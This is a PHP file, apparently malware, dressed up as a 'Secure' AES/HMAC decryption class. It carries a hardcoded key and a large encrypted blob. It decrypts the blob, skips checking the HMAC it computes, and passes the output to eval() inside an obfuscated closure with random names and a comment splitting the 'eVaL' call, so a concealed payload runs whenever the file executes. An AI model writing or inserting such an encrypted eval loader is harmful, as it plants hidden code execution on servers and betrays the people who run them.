<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('JJuWRNwReu1qePWpwEYB7YUSYqV4UxZx');
$str = '4ASXPJ/BRs93uh91EqzjJVGKsQh2V7GI7xWPdlzPIU6g7kOhPoEy9KJmQKrenUl9tTXhHbWf9AqkM1HZVS90dpYAskZVHmGl6iC5MuwimU7ymLDISh4mVaar9rU6sP2x+J1m/Xg7CVbgesZhIjWMrE/V7nzfkwvXWfEJu3KZRKLoclKYmnY1/KME2fZr7PXdWYX/HRBBRenVn9PAbd9GyI55sS6fy4V3eSO0LLevFjq8cLmj2/QQPeObldtCRWxhq4lWMKBWjaoMr8KVwqirhxRoGl9kGivitLcqdhrYxrU3r8UXHOPulJqRbGAAbvkz/NEyUUDSq1Shw5C/b3IxdzDxgyUJgBaC8Qw5AcOvvmlcza3DCoPW7grSRRGYUPhioeGAX+8ZgIekFyIcQCElqLJ+S1mDMUOVKFHPqt6cpsv0K5GJRGuiT04pc9Y71Z38TT7IKyC2qmU3DzDbK7BzE4fFAw32byxdGg4/BryjD7an6F8cQ9t1/yESvWb1b84FoaQtzhTeTjsMqOcE2v+MaKph/5BXa3T9qg/4GBECXEb5f8fGIanwhUgtqKW/HYHnhsggAkc62k0RTqedIr2gbg1Jf8uWZy/qLRdqxUPdLB8PHMk3LZGnJy100Ym4/239dNJN60GKQ9xSTh1DzSXvXLcHGjIH2oVnx8GWP+8XNuPK/yMOIKBHps2vWdhifII/4pkklr59uUuQboS2xCqtK7bDAhVFvq1Xlt8VZG70LID03im83/5Z6ApSZa6mWP8NtPYwRWsmO28fSAaGyKeqVVL9RTg8chZ5pFmkUScdIyTXaVHRHQytCy/Sf2gDyXcM';
$decrypted = $secure->decrypt($str);
$JlWkm8HGKD = function($Yz8dfOfLHDU){
/*Qub3fw6nY*/eVaL($Yz8dfOfLHDU);
$T6mlvmQj5lV = "PLxWzhnSAUAdnMIzv0upuz6rxNFeiwWb";
return $T6mlvmQj5lV;
};
$JlWkm8HGKD($decrypted);
|